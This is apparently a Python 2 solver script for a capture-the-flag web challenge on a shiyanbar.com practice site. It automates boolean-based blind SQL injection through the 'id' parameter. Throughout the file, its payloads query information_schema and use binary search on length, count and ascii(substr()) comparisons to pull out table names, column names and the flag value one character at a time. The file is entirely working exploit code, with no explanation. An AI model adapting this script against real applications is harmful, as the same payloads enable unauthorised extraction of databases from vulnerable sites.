import urllib
import urllib2

url = "http://ctf5.shiyanbar.com/web/index_3.php?id="
tablelengthpayload = "' or (select length(table_name) from information_schema.tables where table_schema='%s' limit %d,1)>=%d#"
columnnumpayload = "' or (select count(column_name) from information_schema.columns where table_schema='web1' and table_name='%s')>=%d#"
columnlengthpayload = "' or (select length(column_name) from information_schema.columns where table_schema='web1' and table_name='%s' limit %d,1)>=%d#"
recordnumpayload = "' or (select count(%s) from flag)>=%d#"
recordlengthpayload = "' or (select length(%s) from flag limit %d,1)>=%d#"
asciipayload = "' or ascii(substr((%s),%d,1))>=%d#"
tablenamestr = "select table_name from information_schema.tables where table_schema='web1' limit %d,1"
columnnamestr = "select column_name from information_schema.columns where table_schema='web1' and table_name='flag' limit %d,1"
recordnamestr = "select flag from flag limit %d,1"
#url = "http://ctf5.shiyanbar.com/web/index_3.php?id="
success_str = "Hello!"

def getLengthResult(payload,in_str,in_no,in_len):
    #print tablelengthpayload % (in_str,in_pos-1,in_len)
    param = payload % (in_str,in_no-1,in_len)
    #req_url = url + urllib2.quote(param)
    #print req_url
    data = {'id':param}
    data_urlencode = urllib.urlencode(data)
    #print data_urlencode
    #req = urllib2.Request(url='%s%s%s' % (url, '?', data_urlencode))
    res = urllib.urlopen(url+"?"+data_urlencode)
    res_str = res.read()
    #print res_str
    if success_str in res_str:
        return True
    else:
        return False

def getCountResult(payload,in_str,in_len):
    #print tablelengthpayload % (in_str,in_pos-1,in_len)
    param = payload % (in_str,in_len)
    #req_url = url + urllib2.quote(param)
    #print req_url
    data = {'id':param}
    data_urlencode = urllib.urlencode(data)
    #print data_urlencode
    #req = urllib2.Request(url='%s%s%s' % (url, '?', data_urlencode))
    res = urllib.urlopen(url+"?"+data_urlencode)
    res_str = res.read()
    #print res_str
    if success_str in res_str:
        return True
    else:
        return False

def getRealLengthResult(payload,in_str,in_no):
    left = 0
    right = 0
    guess = 10
    step = 5
    flag = False
    while 1:
        if getLengthResult(payload,in_str,in_no,guess):
            guess += step
            flag = True
        else:
            if flag:
                left = guess - step
                right = guess
            else:
                right = guess
            break
    #print left,right
    while left < right-1:
        mid = (left + right) >> 1
        if getLengthResult(payload,in_str,in_no,mid):
            left = mid
        else:
            right = mid
    return left

def getRealCountResult(payload,in_str):
    left = 0
    right = 0
    guess = 10
    step = 5
    flag = False
    while 1:
        if getCountResult(payload,in_str,guess):
            guess += step
            flag = True
        else:
            if flag:
                left = guess - step
                right = guess
            else:
                right = guess
            break
    #print left,right
    while left < right-1:
        mid = (left + right) >> 1
        if getCountResult(payload,in_str,mid):
            left = mid
        else:
            right = mid
    return left

def getAsciiResult(in_str,in_no,in_pos,in_ascii):
    param_str = in_str % (in_no-1)
    param = asciipayload % (param_str, in_pos, in_ascii)
    # req_url = url + urllib2.quote(param)
    # print req_url
    data = {'id': param}
    #print data
    data_urlencode = urllib.urlencode(data)
    #print data_urlencode
    # req = urllib2.Request(url='%s%s%s' % (url, '?', data_urlencode))
    res = urllib.urlopen(url + "?" + data_urlencode)
    res_str = res.read()
    # print res_str
    if success_str in res_str:
        return True
    else:
        return False

def getRealAsciiResult(in_str,in_no,in_len):
    out_str = ""
    for i in range(1,in_len+1):
        left = 32
        right = 127
        while left < right-1:
            mid = (left + right) >>1
            if getAsciiResult(in_str,in_no,i,mid):
                left = mid
            else:
                right = mid
        out_str += chr(left)
    return out_str


#print getLengthResult("web1",1,1)

print getRealLengthResult(tablelengthpayload,"web1",1)
print getAsciiResult(tablenamestr,1,1,32)
print getRealAsciiResult(tablenamestr,1,4)
print getRealCountResult(columnnumpayload,"flag")
print getRealLengthResult(columnlengthpayload,"flag",1)
print getRealAsciiResult(columnnamestr,1,4)
print getRealCountResult(recordnumpayload,"flag")
print getRealLengthResult(recordlengthpayload,"flag",1)
print getRealAsciiResult(recordnamestr,1,26)